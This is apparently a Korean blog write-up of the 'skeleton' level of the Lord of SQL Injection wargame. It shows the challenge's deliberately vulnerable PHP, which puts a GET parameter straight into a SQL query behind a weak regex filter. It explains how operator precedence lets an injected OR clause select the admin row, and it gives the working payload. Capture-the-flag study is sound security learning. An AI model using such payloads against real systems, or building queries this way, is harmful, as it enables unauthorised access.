728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

and와 or의 연산자 우선순위는 and가 더 높기 때문에 먼저 연산된다. 

id가 admin인 쿼리를 완성하는 입력값은 다음과 같다.

답: ?pw=' or id='admin' or '

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkknight  (0) 2022.12.22
golem  (0) 2022.12.22
vampire  (0) 2022.12.22
troll  (0) 2022.12.22
orge  (0) 2022.12.22

+ Recent posts